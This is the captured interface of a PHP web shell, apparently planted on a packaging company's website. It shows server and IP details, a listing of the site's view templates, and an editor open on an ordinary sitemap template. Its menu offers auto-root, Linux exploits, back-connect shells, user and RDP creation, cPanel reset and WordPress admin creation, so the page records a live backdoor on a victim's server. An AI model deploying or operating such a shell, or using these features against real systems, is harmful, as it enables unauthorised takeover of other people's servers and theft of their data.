Linux localhost 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 23.92.16.63 | : 162.158.63.181
Cant Read [ /etc/named.conf ]
8.1.5
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
noahpackaging.com /
source /
resources /
views /
[ HOME SHELL ]
Name
Size
Permission
Action
admin
[ DIR ]
drwxr-xr-x
client_panel
[ DIR ]
drwxr-xr-x
emails
[ DIR ]
drwxr-xr-x
errors
[ DIR ]
drwxr-xr-x
exports
[ DIR ]
drwxr-xr-x
layouts
[ DIR ]
drwxr-xr-x
vendor
[ DIR ]
drwxr-xr-x
about_us.blade.php
1.05
KB
-rw-r--r--
beat_my_quote.blade.php
11.62
KB
-rw-r--r--
blogs.blade.php
3.25
KB
-rw-r--r--
category_products.blade.php
36.88
KB
-rw-r--r--
contact_us.blade.php
10.13
KB
-rw-r--r--
custom_printed_boxes.blade.php
57.52
KB
-rw-r--r--
dashboard.blade.php
4.07
KB
-rw-r--r--
em.blade.php
4.76
KB
-rw-r--r--
faqs.blade.php
828
B
-rw-r--r--
imagesitemap.blade.php
1.89
KB
-rw-r--r--
index.blade.php
50.29
KB
-rw-r--r--
index_old.blade.php
43.6
KB
-rw-r--r--
latest_offers.blade.php
58.09
KB
-rw-r--r--
personalized_packaging_boxes.b...
6.41
KB
-rw-r--r--
portfolio.blade.php
1.99
KB
-rw-r--r--
post.blade.php
3.01
KB
-rw-r--r--
privacy_security.blade.php
1.05
KB
-rw-r--r--
product_detail.blade.php
45.81
KB
-rw-r--r--
review.blade.php
9.18
KB
-rw-r--r--
search.blade.php
3.12
KB
-rw-r--r--
sitemap.blade.php
6.52
KB
-rw-r--r--
sitemapxml.blade.php
2.49
KB
-rw-r--r--
templates.blade.php
42.18
KB
-rw-r--r--
terms.blade.php
1006
B
-rw-r--r--
test.blade.php
41.6
KB
-rw-r--r--
thank_you.blade.php
1.61
KB
-rw-r--r--
welcome.blade.php
72.5
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : sitemapxml.blade.php
<?php use App\Models\Page; use App\Models\Category; use App\Models\Product; use App\Models\ProductGallery; use App\Models\Blog; $urls =[]; $query_categories= Category::where('status', '1')->where('is_site_map',1)->orderBy('display_order')->get(); if (count($query_categories) > 0) { foreach ($query_categories as $catlistElement) { //$url_part_1 = $typlistElement->slug;//main category slug $url_part_2 = $catlistElement->slug;//sub category slug $url_3 = strtolower( $url_part_2); $link = url($url_3) ; $obj = new stdClass(); $obj->link = $link; $obj->modified = $catlistElement->modified; $obj->created = $catlistElement->created; array_push($urls,$obj); } } $query_blog_posts=Blog::orderBy('display_order')->get(); if(count($query_blog_posts) > 0) { foreach ($query_blog_posts as $blogpostslistElement) { $link4 = secure_url('blog/'.$blogpostslistElement->slug); $obj = new stdClass(); $obj->link = $link4; $obj->modified = $blogpostslistElement->modified; $obj->created = $blogpostslistElement->created; array_push($urls,$obj); } } $result = Product::where('is_site_map',1)->get(); foreach ($result as $item) { $link5 = secure_url($item->product_slug); $obj = new stdClass(); $obj->link = $link5; $obj->modified = $item->modified; $obj->created = $item->created; array_push($urls,$obj); } echo "<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://www.sitemaps.org/schemas/sitemap/0.9\">"; echo "\t<url>\n\t\t"; echo "<loc>".secure_url('/')."</loc>\n"; echo "\t\t<lastmod>2018-12-13T06:57:40+00:00</lastmod>\n"; echo "\t\t<priority>1.00</priority>\n"; echo "\t</url>\n"; foreach($urls as $item) { $dateFormat = new DateTime(); // this will return current date $date = $dateFormat->format(DateTime::ATOM); if (trim($item->modified) != null) { $tem = DateTime::createFromFormat('Y-m-d H:i:s', $item->modified); $date = $tem->format(DateTime::ATOM); }else if(trim($item->created) != null) { $tem = DateTime::createFromFormat('Y-m-d H:i:s', $item->created); $date = $tem->format(DateTime::ATOM); } echo "\t<url>\n\t\t<loc>" . str_replace('www.','',$item->link ). "</loc>\n"; echo "\t\t<lastmod>". $date."</lastmod>\n"; echo "\t\t<priority>1.00</priority>\n"; echo "\t</url>\n"; } echo "</urlset>";
Close